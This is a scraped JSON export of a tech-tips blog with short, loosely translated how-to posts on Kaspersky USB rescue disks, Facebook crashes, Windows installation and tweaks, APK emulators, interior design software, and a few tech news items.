half\nConclude Cisco switches are very powerful, and there are many things that you need to learn. However, understanding the basic features in this article, you have a good grasp of how and why the switch configuration is.\nncG1vNJzZmismaXArq3KnmWcp51kgm7Ax6KloKtdrry2edKhpq6klGK4r7vWZq6hnZ5isLC6xaKerqqZo7RurYycoKybn2K2sL%2BMrK6irJOd\n","link":"/post/5-things-you-should-know-when-configuring-a-cisco-ios-switch/","section":"post","tags":null,"title":"5 things you should know when configuring a Cisco IOS switch"},{"body":"Internet development is also more dangerous with threats such as viruses, trojans, hackers, keyloggers, malware, spyware that endanger computer users. \n Therefore, you often have to use an anti-virus program to protect your computer, you can create a computer rescue CD when you have a problem. When the virus causes the computer to be unable to access Windows or you edit the computer for someone without a reliable antivirus program, Kaspersky's rescue disk will take effect at this time. Kaspersky's rescue CD is very practical, but there are still some shortcomings: Every time you update data for Kaspersky, you have to start over again, ie you have to make a new rescue cd, if you use CD-RW (DVD-RW) then there is no problem because the disk can be deleted but if it is just a Cdrom disc (DVD Rom), every time you update, you will need to use a blank disk to burn. But if you use USB to run and rescue computers with Kaspersky, the update is very easy and does not cause disk loss due to not burning to disk. A. Create Kaspersky rescue To be able to do USB rescue with Kaspersky, you need to install Kaspersky and update the database on Kaspersky virus, PE Builder program. Download PE Builder here, after downloading you proceed to install PE Builder. Then copy the Windows XP installer to your hard drive (assuming F: Setup XP). In the Kaspersky window, select the Scan tab, click the Create Reward Disk button. Step 1: General information You click Next to go to step 2 Step 2: Get ready to burn In the Installed PE Buider folder, enter the path to the PE Buider installation folder (C: pebuilder3110a), in the Output folder box, enter the path to the folder where you want to save the temporary temp file of Kaspersky (C: pebuilder3110aKAV), in the box. Path to Microsoft Windows XP service Pack 2 installation CD You enter the path to the Windows XP installer (F: Setup XP). Click Next to continue, when you see the bulletin The folder you have specified does not exits. Do you wish to create it, select Yes and wait about 1 minute for Kaspersky to start creating the iso rescue file. Step 3: ISO file creation After finishing, the create iso file dialog box appears, select Create new ISO file , set the name and folder to save the iso file. Click Next . Step 4: Burnining the CD Because we use Kaspersky rescue on USB so choose Burn later in choose one of the following . Click Next , Finish to finish. B. Create USB rescue Kaspersky Step 1 : Format and copy the necessary files of Kaspersky onto USB. You download the PeToUSB file with 100 Kb capacity at https://sourceforge.net/projects/petousb/. After extracting, click on the file PeToUSB.exe to run and select the following\n  In the Destination Driver you select Removable USB . In Format Options, select Enable Disk Format and Quick Format . In Driver Lable you rename the usb if needed. In Source Path To Built BartPE / WinPE Files, click on the button with the \"three dots\" icon to select the path to the temporary file storage folder of Kaspersky (C: pebuilder3110aKAV), the folder to save the temporary file and not the ISO file of Kaspersky . In File Copy Options, select Enable File copy and select Overwrite Always . Then click Start and Yes twice to confirm the USB format and copy the Kaspersky files to usb. PeToUSB will create a boot for the USB drive and copy the folder files to the usb, and the I386 folder will be converted into a minint. Step 2 : Set the BIOS to boot and boot using USB. Restart the device and press Deletde (or equivalent, depending on the device) to enter the BIOS. After entering the BIOS, go to Advanced BIOS Features , press Enter , find the Hard Disk Boot Priority line and click Enter, use the Page Up and Page Down keys to move the USB-HDD entry: USB 2.0 Flash Disk to the first boot ( No. 1), press Esc to get rid of Hard Disk Boot Priority . Next select USB-CDROM or USB-HDD in the First Boot Device, press F10 and select Y and then press Enter to confirm the change and restart. After restarting Kaspersky will boot and run directly on the usb. Step 3 : Update the virus database for Kaspersky usb. To update Kaspersky USB data, you need to go to www.kaspersky.com/avupdates and select the correct version of Kaspersky you are using. After the browser opens, depending on the version of Kaspersky AntiVirus or Kaspersky Internet Security you are using, select the update file. If you are using Kaspersky AntiVirus, the update files are called av-i386-xxxxxx.zip , and if you use or Kaspersky Internet Security, the update files are called av-i386 \u0026amp; ids-xxxxxx.zip . In the above files, the file with the extension xxxxxx = daily is the update from Sunday of the week to the current day (ie the day you downloaded), the file with the extension xxxxxx = weekly is the update file of the previous week. , the file with the extension xxxxxx = cumul is the update file from beginning to Sunday of the week. After downloading to your computer, you can extract it using winrar. You plug the USB into the device and proceed to restart the computer and boot with Kaspersky USB (do as step 2). After you have booted and entered WinPe, click Go \u0026gt; Programs \u0026gt; Kaspersky Internet Security (Kaspersky AntiVirus) \u0026gt; Start to launch Kaspersky. Then click on the icon of Kaspersky in Task Manager and select Settings \u0026gt; Update \u0026gt; Cofigure . Click Add and select the folder where you downloaded the extracted update file. Click Ok , Apply , click Ok . Then you click on the icon of Kaspersky in Task Manager and select Update , wait a bit for Kaspersky to start updating the virus database. Note : Because the usb is writable so you should not plug the usb into the unsafe machine, have the virus, so you just plug it into your computer to update, or use a usb with 256 Mb capacity just to make Kaspersky usb, when If you scan the infected machine for viruses, you cannot plug in the USB device while you are in Windows, so it is very likely that the USB virus will be infected. After restarting the computer, you need to scan the virus, plug the USB into the tree and do as step 3 to select the first USB boot. For some older main users, Kaspersky USB cannot be used because it does not support booting from usb. Whether you use Kaspersky AntiVirus or Kaspersky Internet Security version, when making CDrom, USB rescue is Kaspersky Internet Security.\nncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZpmeqba3tdGuqmato5d6s7HSnKyeZZOkurHB056pZq%2BZqbVut8Csp56qo6DG\n","link":"/post/create-anti-virus-usb-rescue-computer-with-kaspersky/","section":"post","tags":null,"title":"Create anti-virus USB rescue computer with Kaspersky"},{"body":"There are many ways to fix and fix Facebook crashes when uploading photos, sending files, sending links. The easiest way is to update to the latest version of Facebook. The situation in Facebook is slow, when loading the video to watch for a long time, even sending the error message continuously, don't know how to solve it ?.\nHow to fix Facebook crashes when uploading photos, sending files, sending links Method 1: Update Facebook To fix Facebook crashes when uploading photos, sending files, sending links, the first solution is to update the application to the latest version. Follow the steps below:\nStep 1: Open the Play Store app.\nStep 2: Enter Facebook into the Search box.\n  Step 3: Check for and install the latest app updates. Finally check if the Facebook error persists or not.\n  Or another way to update the Facebook app is:\nStep 1: Open Play Store.\nStep 2: Click on the menu icon in the top left corner.\n  Step 3: Access to My apps \u0026amp; games (apps \u0026amp; games).\n  Step 4: Finally check for and install the latest Facebook updates.\nIn the event that an application update is not available, you can refer to some of the below fixes.\nMethod 2: Update to the latest Android version Another way to fix Facebook crashes is to update to the latest Android version.\nStep 1: Access the Settings app on your Android phone.\n  Step 2: Select System.\n  Step 3: Find and click Advanced (advanced) =\u0026gt; System update (system update).\n    Step 4: Check for and install the available updates.\n  Method 3: Use Facebook Lite If the above methods are not available, try to install and use Facebook Lite to see if the error persists.\nStep 1: Go to Play Store.\nStep 2: Find and download Facebook Lite to install on your device.\u0026nbsp;\n  Step 3: Try to upload photos, send files, send links and check if the Facebook error persists or not.\nMethod 4: Turn off automatic Facebook updates Sometimes in some cases Facebook updates can crash and cause a host of issues, frustrating users. If you've just updated to the latest app version and you're facing an error, the most likely culprit is the update.\nSolution to fix the error in this case is to disable Facebook automatic updates, uninstall and reinstall the application.\nStep 1: Open Play Store.\nStep 2: Find and open Facebook.\nStep 3: Click on the 3-dot icon in the top right corner of the screen.\n  Step 4: Uncheck the option Enable auto-update (enable automatic update).\n  Step 5: Next go to Settings (settings) =\u0026gt; Apps \u0026amp; notifications (apps \u0026amp; notifications).\n  Step 6: Find and uninstall Facebook. Next go to Play Store, download and reinstall the app and check if Facebook crashes when uploading photos, sending files, or sending links.\nMethod 5: Force stop Facebook Step 1: Go to Settings =\u0026gt; Apps \u0026amp; notifications =\u0026gt; find and open Facebook.\nStep 2: Next, click on Force Stop to force quit the application.\n  Step 3: Next, go back to the Android screen, find and open Facebook.\nStep 4: Sign in to your account and try to upload photos to see if Facebook still hangs or not.\nMethod 6: Clear Facebook cache Step 1: Go to Settings =\u0026gt; Apps \u0026amp; notifications =\u0026gt; find and open Facebook.\nStep 2: Click Storage (storage) =\u0026gt; Clear Cache (clear cache).\n  Step 3: Next, click on Clear storage (delete free memory).\n  Step 4: Finally try opening Facebook again and upload the photo, link.\nTipsMake's above article has just instructed you how to fix Facebook crashes when uploading photos, sending files, sending links. Also readers can refer to some Facebook Tricks already on TipsMake to learn more. How to fix Facebook crashes fix Facebook errors ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqnrcKemainm2Kws63SoZysZaedsq951KmjqJmUnruoec%2Bhpq2no2LAprrDoqWgZZaeuaa%2FjKycp5yZo7RuuMinoqw%3D\n","link":"/post/how-to-fix-facebook-crashes-when-uploading-photos-sending-files-sending-links/","section":"post","tags":null,"title":"How to fix Facebook crashes when uploading photos, sending files, sending links"},{"body":" Curtains around your bed can give you a luxurious canopy look for a low price. However, if you live in a rental or don't want to use power tools, then you won't be able to drill holes in the ceiling. Luckily, you can still complete this...\nAttaching Sticky Hooks to the Ceiling Wipe down the ceiling surfaces above the bed corner with alcohol. Dust or dirt on the ceiling could prevent adhesive hooks from sticking properly. Pour some rubbing alcohol into a paper towel and wipe down the ceiling above each corner of the bed.[1] Don't use a wood or glass cleaner. These products leave behind residue that make the adhesive strip weaker.  Make a pencil mark on the ceiling above each corner of the bed. Place a tape measure on the floor touching a bed corner. Then extend it straight up to the ceiling. Make a pencil mark in the spot that the tape measure touches. Repeat these steps for each corner of the bed.[2]\n Attach an adhesive strip onto the ceiling over each pencil mark. Adhesive hooks come with sticky strips. Peel the non-stick paper off one side of the strip and press it down onto the pencil mark you made. Hold it down for 30 seconds so it sticks completely. Do the same for all 4 marks.[3] Always read and follow the directions that come with the product you use. Different products might have specific directions.  Press an adhesive hook onto each strip for 30 seconds. When all the strips are attached, peel the non-stick paper off the other side. Take a hook and press it down onto the strip. Hold it for 30 seconds. Repeat this process for the other strips.[4] If you're using heavy curtains, make sure to get adhesive hooks that can handle a lot of weight. The product packaging should state how much weight the hook type is designed for, so use this to guide what kind you buy.  Wait 1 hour before hanging anything on the hooks. This gives the hooks enough time to adhere to the ceiling. If you start hanging the curtains too early, the hooks might fall.[5] If you recently painted, wait 7 days after the paint dries to hang adhesive hooks on the ceiling.  Mounting the Curtains Add up the distance between the hooks. Use a tape measure and take the distance between each hook. Add up those distances to get the total length you'll need for your curtain string.[6]\n Cut a piece of string or twine to fit around all the hooks. Unroll the string or twine until it's as long as the distance between the hooks. Add a few extra inches so you have room to tie the string. Then cut the string off the roll.[7] It's okay to have extra string. You can cut off any excess when you're finished. If you're hanging a heavy curtain, then you might need something more heavy-duty like wire.  Tie the string tightly around the hooks. Slide the string into each hook and pull it tight. Then tie both ends of the string together and cut off any excess at the end.[8] You might need to use clear tape to lock the string in place if the hooks aren't tight enough. Working with a partner will make this job easier. One person can hold the string in place while the other loops it through the hooks. If you're going for more of a canopy look, then you can leave the string looser. This gives your curtains a crescent shape.  Insert hooks into all the spaces on top of the curtains. The curtains should have holes for hooks along their top edges. Insert a hook into each hole. Make sure you don't miss any holes or the curtains will sag.[9] If the curtains don't come with hooks, you can buy a set of hooks online. You can also get clips instead, which means you don't need holes in the curtains. Using hooks makes sliding the curtains easy, and also makes replacing them very simple.  Hang a curtain set on each string section. Lift the curtains up and hang each hook onto the string. Slide them back and forth a few times to make sure the hooks hold. If you want to cover your whole bed, put a curtain set on all 4 sides.[10] You can also only put the curtains in one or two sections if you don't want to cover your whole bed. This will still give you a nice effect.   Marvin Fry Update 10 April 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCRo7Rur9Srq5qhnqh6or7OrqWdZZFir6awjLCgraCfqsFusNGio6Whnpw%3D\n","link":"/post/how-to-hang-curtains-around-a-bed-without-drilling/","section":"post","tags":null,"title":"How to Hang Curtains Around a Bed Without Drilling"},{"body":"1. Install APK file on PC with BlueStacks First, you need to download and install BlueStacks via the link here\nStep 1: Open BlueStacks and click on the icon .\n  Next, you click on the Install APK icon .\n  Step 2: Click on the APK file (1) =\u0026gt; Open (2) .\n  Step 3: Click on the My games tab and you will see the application being installed.\n  Once installed, click on the app to open it.\n  2. Install the APK file using Memu You download and install the Menu at here\nStep 1: Open the software and click the Install APK icon .\n  Step 2: Click on the APK file (1)  =\u0026gt; Open (2) .\n  After that, the file installation process will take place and the file being installed has the words Installing below.\n  Step 3: After the installation is complete, click on the application to open.\n  With the way to install the Android emulator in the article, you can install the APK file on your computer. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmKmjXZu2rbHSZqanZZFivaQ%3D\n","link":"/post/how-to-install-apk-files-on-a-pc/","section":"post","tags":null,"title":"How to install APK files on a PC"},{"body":" This wikiHow teaches you how to install Windows 7 on a Windows computer by using a USB flash drive instead of an installation disc. Back up your computer's files if necessary. If you plan on wiping your current computer's hard drive to...\nPart 1of 6:\nPreparing to Install Windows 7  Back up your computer's filesif necessary. If you plan on wiping your current computer's hard drive to install Windows 7, consider backing up your computer's files to a hard drive before proceeding.\n  Find your Windows 7 product key. In order to download the Windows 7 installation file (ISO), you'll need to enter your Windows 7 product key on the Microsoft website. The product key is typically found on your Windows 7 installation disc's packaging. If you installed Windows 7 on a different computer, you can find the product key there. The product key that accompanies most computers which have Windows 7 pre-installed is not considered a valid key by Microsoft.   Obtain a USB flash drive. Buy or find a USB 3.0 flash drive that can store at least 8 gigabytes of information. This is the pen drive you'll use to install Windows 7.   Download and install the USB creation tool. Microsoft has a dedicated USB creation tool that you can use to burn your Windows 7 installation file onto a flash drive: Go to the Windows USB creation tool page. Click Download in the lower-right side of the page. Check the box next to your installation language (e.g., the one ending in \"US\" for English). Click Next in the bottom-right side of the page to prompt the download to begin. Install the tool by double-clicking the downloaded file and following the on-screen prompts.   Partition your hard driveif you like. If you want to install Windows 7 without removing the currently installed operating system, you can create a space (or \"partition\") for your Windows 7 installation on your hard drive. You'll use the built-in Disk Management program to do this. Make sure your hard drive has enough space on it for you to do this. You should have at least 50 gigabytes of free space for Windows 7, though 100 gigabytes or more is preferred.[1] You can also buy an external hard drive and install Windows 7 onto it.   Find out your computer's BIOS key. The BIOS key is the key you'll need to press when restarting your computer in order to open the BIOS, which is a crucial step in installing Windows 7. To find your computer's specific BIOS key, do the following: Find your computer's manufacturer name. Open a search engine (e.g., Google). Type in your computer's manufacturer name followed by \"bios key\", then press ↵ Enter. Open a result from the manufacturer's website. Determine which key your computer uses by looking for your computer's model number if necessary. You can find your computer's model number by right-clicking the Start icon, clicking System, and looking at the number directly under \"Device specifications\".   Part 2of 6:\nDownloading the Windows 7 ISO File  Open the Windows 7 download site. Go to https://www.microsoft.com/en-us/software-download/windows7 in your computer's web browser.\n  Enter your Windows 7 product key. In the text box near the bottom of the page, type in your 25-character product key.\n  Click Verify. It's below the text box.\n  Select a language. Click the language drop-down box at the top of the page, then click the language you want to use for your Windows 7 installation.\n  Click Confirm. It's below the language drop-down box.\n  Click 64-bit Download. This option is in the middle of the page. Doing so prompts the Windows 7 ISO file to begin downloading onto your computer. The Windows 7 ISO file is large, so it may take a while for it to download. Depending on your browser's settings, you may have to select a download location before the ISO file will download.  Part 3of 6:\nCreating the USB Installation Drive  Insert the USB flash drive into your computer. Plug the flash drive into one of your computer's rectangular USB ports.\n  Open the Windows USB creation tool. Double-click the Windows 7 DVD USB Download Tool app icon, then click Yes when prompted.\n  Add your Windows 7 ISO file to the tool. Click Browse on the right side of the window, then click once the Windows 7 ISO file and click Open.\n  Click Next. It's in the bottom-right corner of the window.\n  Click USB device. This option is at the bottom of the window.\n  Select your USB drive if necessary. If you see a different drive in the drop-down box than the one you want to use, click the drop-down box and then click your flash drive's name.\n  Click Begin copying. It's in the bottom-right corner of the window. If prompted, click Erase USB and then click Yes before proceeding.   Wait for the USB to finish burning. It can take up to an hour for Windows to finish creating your installation drive. Once the tool notifies you that the installation is complete, you can proceed.\n Part 4of 6:\nChanging Your Computer's Boot Order  Turn off your computer. You can do this by pressing and holding the computer's \"Power\" button, or you can click Start, click the Power icon, and click Shut Down. Make sure your computer is completely shut down before proceeding.   Turn back on your computer. Press your computer's \"Power\" button to do so. Your computer will begin turning back on.\n  Begin pressing the BIOS key. As soon as your computer begins to boot up, begin pressing rapidly the key your computer uses to open the BIOS. You can stop pressing the key once the BIOS page opens. If your computer restarts before you have a chance to press the BIOS key, you'll need to turn back off and then on your computer and try again.   Find the \"Boot Order\" section. Using the left and right arrow keys, scroll through the BIOS tabs until you find a list of boot items. You may have to select Boot Order (or similar) and press ↵ Enter to open the menu. Each computer's BIOS will be different, so consult your computer's online documentation if you can't find the boot order menu.   Select your flash drive's name. Use the arrow keys to scroll down until you've selected the USB flash drive's name.\n  Move the flash drive to the top of the list. In most cases, you'll press the + key until the flash drive's name is at the top; if this doesn't work, consult the key legend at the bottom (or side) of the BIOS screen for instructions.\n  Save and exit. Press the \"Save and Exit\" key as specified by the key legend. Doing so will save your changes to the BIOS and then exit the BIOS screen. You may have to confirm your choice by pressing another key before you can proceed.   Restart your computer if necessary. If your computer finishes starting into Windows, restart your computer before proceeding. This will open the Windows 7 installation page, from which point you can begin installing Windows 7.\n  Marvin Fry Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmrqKmlKTEtHmWZqysoZ6cerGxzWabq6Gmmg%3D%3D\n","link":"/post/how-to-install-windows-7-using-pen-drive/","section":"post","tags":null,"title":"How to Install Windows 7 Using Pen Drive"},{"body":" Windows Vista adds many features that, while useful, decrease system performance. Windows Vista can be configured to reduce the overhead of most of the newer features. Windows Vista has three different power plans.\nMethod 2of 5:\nOptimize Visual Effects Vista's visual effects can cost you ram and consume power. Follow these directions if your gaming performance has decreased, or if you need your battery to last longer.\n Open the Start menu.\n  Open the start menu and type in control.exe system. Press enter to open the system control panel applet.\n  Click Performance, which should be on the left, and then on the left under Tasks you should see Adjust Visual Settings.\n  Select Adjust for best performance and scroll to the bottom and check the box Use visual styles on windows and buttons.\n Method 3of 5:\nManage Startup Applications Many applications have components that will start with Windows, and continue to run in the background. These programs cause a delay in loading your desktop, and consume more than their fair share of ram, and cause spikes in CPU usage.\nDisable Unwanted Startup Programs. Click on the Start button and type \"System Configuration\".   Click and open the Startup tab, and select applications that you you want to start with your computer.   Click OK, or Apply. A dialogue will appear asking you to restart. Save your documents and restart the computer.    Method 4of 5:\nDefragmentation Defragmenting your partitions can lead to faster reading and writing of data from your hard drive.\n Click and open the Start menu. Access Disk Defragmenter from All Programs\u0026gt;Accessories.\n  Click Defragment Now.\n Method 5of 5:\nChange Browsers A change of browser can do wonders for making your computer more usable, and responsive.\n Chrome[1], Safari, and Internet Explorer 9[2] are the fastest browsers on the market right now.\n  Isabella Humphrey Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqugmrKledSpZLChnpm8uL%2BMr6CsrJE%3D\n","link":"/post/how-to-speed-up-windows-vista/","section":"post","tags":null,"title":"How to Speed up Windows Vista"},{"body":"Jump Point application on Windows 10 helps users manage all files on the system in the most scientific way for us to easily track. The file types will be managed separately according to the file format. In terms of interface, Jump Point is not too different from Windows Explorer, making it easier for users to use. In addition, the Jump Point application also has the feature of grouping files or folders with the same purpose of work into different spaces, similar to Opera's Workspace feature. The following article will guide you how to use the Jump Point application on Windows 10.\nGuide to file management on Jump Point Step 1:\nUsers download the Jump Point application for Windows 10 by following the link below.\nDownload the Jump 10 Windows 10 app\nhttps://www.microsoft.com/en-us/p/jump-point/9pl7b4pz0hs0\nTo manage the files, you need to allow Jump Point to access the file system . Go to Windows Settings\u0026gt; Privacy\u0026gt; File system and enable Jump Point.\n  Step 2:\nThe first is the Dashboard interface with shortcuts for quick access to items in the system. The items displayed on the Dashboard can be changed by clicking the gear icon\n  Step 3:\nIn addition, in this interface, the left will be the menu bar for us to access the drive on the computer, OneDrive, Favories or Workspace. At the top are options Home, View, Tools with different tools.\nWhen you click on a folder or file you will see a toolbar display with different option icons, click on the 3-dot icon to expand the selection menu.\n  Step 4:\nTo add more workspaces for different purposes, click Workspaces in the Home bar, then click Next and New Workspace .\n  Then you enter a name for this Workspace , keep the Generate a unique name and click Add to add.\n  Step 5:\nOnce you have created the workspace, in the interface of the folder we right-click\u0026gt; select Add to Workspace, then select the workspace you want to move to and click Save to save.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqrwcypZKmnmaPBbsDOZqSappGcsm6yyKWcrGWfo3q4tc2dprCrXWZ9\n","link":"/post/how-to-use-jump-point-to-manage-files-on-windows-10/","section":"post","tags":null,"title":"How to use Jump Point to manage files on Windows 10"},{"body":"Samsung will release the NC20 ultraportable laptops equipped with the ultra-small Nano processor. This is a technology developed by computer microchip maker Via Technologies (Taiwan).  Samsung NC20 is designed not like a mini laptop or a complete laptop but the product will meet the needs of today's consumers about the low power consumption of ultraportable laptops. The product is compact with a 12.1-inch screen, weighs 1.5kg and is expected to sell for 642USD. The NC20 will be equipped with a U2250 Nano processor (1.3GHz clock speed), 1GB RAM and 160GB hard drive. It is expected that the product will be released first next year and will likely lead the way in the power consumption of Via's Nano-equipped laptops. Currently, social networks are officially hunting for the NC20, but both Via and Samsung remain calm with the 'no comment' policy. Since the introduction of the Nano processor, Via has always emphasized the highlights of the processor's performance and power consumption, but is extremely small. This made the difference of Nano chips compared to Intel's Atom chips. Via chip maker tried to deliver products to the netbook market to share market share with Intel in Santa Clara, California. However, Vaio was unsuccessful because in this market most of the netbooks were equipped with Atom processors from Intel and Vaio that could not compete.\nncG1vNJzZmismaXArq3KnmWcp51ktq95kWlncmWjlrq0wc2gZLChnKF6pr3UoqdmmV2jrq%2B7jJyfoqhdm7yzecuap62noA%3D%3D\n","link":"/post/in-2009-samsung-will-equip-a-nano-chip-for-laptop/","section":"post","tags":null,"title":"In 2009, Samsung will equip a Nano chip for Laptop"},{"body":"In the most recent redesign of the MacBook Pro, Apple introduced the Touch Bar - a strip of OLED display that replaces the function keys above the keyboard. According to Apple Insider, Apple may well go beyond this original idea with a new patent for OLED keyboards.\nThe patent, first reported by Patently Apple , has '2 screens, better and less reflective' and describes two versions of the device. One of them is quite similar to MacBook with 2 monitors connected by a hinge, the rest is a screen with the keyboard like an accessory.\n  Will there be a keyboard entirely with OLED screens?\nThis patent also describes the use of poles to reduce the reflection of two screens together. This is a smart and necessary solution if Apple actually creates such a real device.\nOf course this is still only a patent and there is still no certainty. But this idea also helps us to be less frustrated with the Touch Bar, maybe it's not too bad.\nSee more:\nThe 10-year-old MacBook is still not too late to make the MacBook great as it was How to change Touch Bar into traditional key row on Macbook Pro How to experience Touch Bar on Windows computers ncG1vNJzZmismaXArq3KnmWcp51kuKbFwaiYq5xdrLa1tIyoo56cXaiws7HEp2Sfp6JiuqKvwaimpGWnncZuus6t\n","link":"/post/keyboard-with-oled-screen-for-macbook-why-not/","section":"post","tags":null,"title":"Keyboard with OLED screen for MacBook, why not?"},{"body":"YouTube music application off the screen is no stranger to many people. Many contents on YouTube that users want to listen to such as long-duration songs, playlists and especially stories such as love stories, swordplay stories, detective stories, ghost stories .\u0026nbsp;\nOften with good stories or long songs. You will listen at night, especially stories and lullaby music. But if you forget, they will definitely consume your battery capacity when you wake up in the morning.\nSo you can set the time to turn off music in these applications, one of the two most commonly used applications are YouListen and Music Pro. These are the two popular YouTube music off screen applications that are used by many people. To schedule YouTube music off on these two applications, follow the instructions below.\nHow to schedule YouTube music off on phone Step 1: When you have selected the music you want to listen, click the song below, in the music player interface, click the clock icon as in the upper left corner.\n  Step 2: Next, turn on the Timer to turn off the music player, please select the playing time below. If the song is short, you can turn off the autoplay button. Turn on this button, after the song you play is out, the application will not play.\n  On the Music Pro app, you can also do the same with the clock icon in the upper left corner and select the playing time. Then click Start .\n  So with the Music Pro and YouListen apps, you can now schedule music listening on YouTube when you listen to music at night. And if you do oversleep, your battery capacity will not be wasted too much.\nncG1vNJzZmismaXArq3KnmWcp51kura%2FyJxkraGdmr9uu81msKitpKqvpg%3D%3D\n","link":"/post/music-timer-on-youtube/","section":"post","tags":null,"title":"Music timer on Youtube"},{"body":"The next version of Unicode (7.0) will add more characters and languages, including more than 200 new Emoji characters including many topics such as printers, joysticks, finger gestures , . Here is the full list of these new characters.\n  \nThe list lists the 240 Emoji characters of ' Miscellaneous Symbols and Pictographs ', out of 2834 characters added in Unicode 7.0.\n  \nThe Unicode Consortium\n  \nncG1vNJzZmismaXArq3KnmWcp51ku6bDjJ6kqKKZYraku81moKdlpJ2ybrrEsatmrZ6esLCwxGaqnqw%3D\n","link":"/post/new-emoji-icon-in-the-next-unicode-set/","section":"post","tags":null,"title":"New Emoji icon in the next Unicode set"},{"body":"In this article, I will synthesize more than 10 best free interior design software today in 2021.\nAre you doing home design services but don't know which software to use to design? Or you are a student, want to pursue the interior design industry, you should not ignore the software below.\nTo help you easily choose software, I will divide it into two categories, the first is the easy to learn, and the second is the difficult to learn.\nI. The easiest 3D interior design software to learn First of all, we cannot help but mention Autodesk 3Ds Max, this is a very famous product of Autodesk.\n1. Autodesk 3Ds Max   3ds Max is a software used for home design in general and interior design in particular. Its feature is quite simple to use, supports many plugins, suitable for beginners to learn about this interior design industry.\nIt is these advantages that now many people choose 3Ds Max as the main design tool in their projects. Besides, students are also gradually switching to using this software.\n3Ds Max learning materials are also a lot, free online learning channels on Youtube are also diverse. If you are interested in this software, you can download 3Ds Max documents to your computer and learn to try it out. In addition, I also have compiled a list of 3Ds Max online courses with very cheap prices. 2. Home Design 3D   Like its name, Home Design 3D helps you create 3D design models in the simplest way, used to design exterior and interior items, integrated with many useful tools, helping Designer easy to use.\nUsers can choose models of houses or furniture to choose from for the design, the ability to automatically adjust the size of the land area or objects in the drawing quickly.\nThe advantage of this software is that it is simple, flexible, has a real-time 3D view. Its downside is no basement feature, no copy and paste option.\n3. Sweet Home 3D   Sweet Home 3D is a very sweet and realistic design software, whether you are familiar with interior design or not, you can still use it, because the software's UI interface is designed quite simply.\nSimilar to Sketchup, Home Design 3D still produces 2D and 3D formats, this helps users to select details in drawing documents through interior models classified into separate items.\nThe model image in Sweet Home 3D is quite beautiful, and the size can be customized according to the needs of each person. In addition, you can export drawings to PDF, bitmap, vector images, videos or 3D files. Main features of Sweet Home 3D:\nSupport interior design for the house. Add annotations to drawings. Create photos with unique effects. Flexible view. Multi-language support. 4. Super Home Suite   I also don't know what words to use to evaluate this software, just know that its features are similar to Sweet Home 3D. So, if you want to find other software, experience it to decide which software is right for you.\nFeatures of Super Home Suite:\nSupport 3D house design Integrated drawing tools Place objects in the right place Add matching furniture nội Easy editing 5. Planner 5D   Planner 5D is a free, multi-featured 3D interior design software that helps you design home furniture models such as tables and chairs, stairs, windows . and many other items.\nIn addition, you can also use Planner 5D to design a swimming pool, outdoor space . It is also classified as one of the simple and easy to use 2D design software.\n6. Autodesk Homestyler   Autodesk Homestyler is a software that is not yet popular in Vietnam. It is considered a fairly simple software, fully supports tools and libraries so you can design the most creative interior designs.\nThis product is created by Autodesk Corporation, this is indeed a very strong company, they specialize in the production of specialized and most suitable design software for each industry.\nAutodesk Homestyler supports users in designing 3D homes. You will easily change the color, size, texture of the items in the house, drag and drop them and place them anywhere in the drawing. In addition, it also supports 3D to 2D model conversion, aerial rotation, 3D photorealism with custom lighting and DWG output.\nKey features of Autodesk Homestyler:\nDesign houses and landscapes using advanced 3D graphics Provide a variety of interior and exterior furniture dùng Shopping view for pricing materials Render the design file in DWG . format II. The 3D interior design software is difficult to learn The list of interior design software is very difficult to learn, suitable for those who specialize in design, or students who are studying design should also learn.\n1. SketchUp   SketchUp was previously owned by Google (from 2006 - 2012), so it is also known as Google SketchUp. This software was born for those who do not specialize in design, because its features and usage are very simple, suitable for beginners.\nThey have two versions:\nSketchUp Make is a free interior design version. SketchUp Pro is a paid interior design version. SketchUp comes with a very powerful open-source library called 3D Warehouse, which improves on the software's missing features.\nIts only weakness is that the image after rendering is not very sharp, so it is only for amateurs, or those who want to design their own home.\n2. Autodesk AutoCad   Another Autodesk product that is also included in the list of professional 3D interior design software is AutoCad.\nThis is a product taught in schools specializing in home design, interior design, construction, construction, roads and bridges . AutoCad can draw simulations of 2D and 3D models, so it is very popular with home owners design.\nHowever, this is a relatively difficult software to learn, it will take you from 3 to 6 months of concentration to learn to use it fluently.\n3. Revit   Revit is a specialized design software, in addition to interior design, it is also used in construction projects, precisely used in BIM (Building Information Modeling).\nIn terms of features compared to the above software, Revit has more advanced features, giving drawings more accurate accuracy, and of course learning it is not easy.\nRevit software with three basic systems is Revit Architecture, Revit Structure and Revit MEP. These basic systems include features to support architectural, structural engineering, and electromechanical designs. You can use Revit for interior design if you want.\nAbove is a compilation of 10 best free and paid 3D interior design software today. If you are a design student, choose free software, and if you have conditions, you can buy software like AutoCad, Autodesk 3Ds Max, SketchUp.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ6YrKGVqMFuf8NmoKeslae2sL6MnZysoZejerS7xa2umqqVYsGwecuemKumXWd9c30%3D\n","link":"/post/the-easiest-3d-interior-design-software-to-learn-2021/","section":"post","tags":null,"title":"The easiest 3D interior design software to learn 2021"},{"body":"Windows 10 will definitely run better than Windows 8, however, you may still want to change the look of the desktop as you like. Simple! You can quickly customize and even change the transparency of the Start Menu bar in Win 10. Read on to learn how to do it!\nWindows 10 will definitely run smoother than Windows 8, however, you may still want to change the look of the desktop as you like. Simple! You can quickly customize and even change the transparency of the Start Menu bar in Win 10. Read on to learn how to do it!\nYou can achieve basic transparency by using the option. Open Settings, go to Personalization. Select the Colors tab on the left, then scroll down. Make sure the Transparency effects are turned on as On. If this is not enough to make the Start Menu transparent as you like, you can edit the Registry value to increase transparency.\n\"\u0026gt;\nType regedit into Start Menu, then click administrator prompt and access the order below.\nHKEY _ CURRENT _ USERSoftwareMicrosoftWindowsCurrentVersionThemesPersonalize  You should see a key in the right pane called Enable Transparency , which has a value of 1. Double click this value and change it to 0. Then reopen the Start Menu and you will notice it is much more transparent.\nBelow is a comparison image before and after implementation.\n  Hopefully, between these two settings, you can change the transparency to your liking.\ntransparency Windows 10 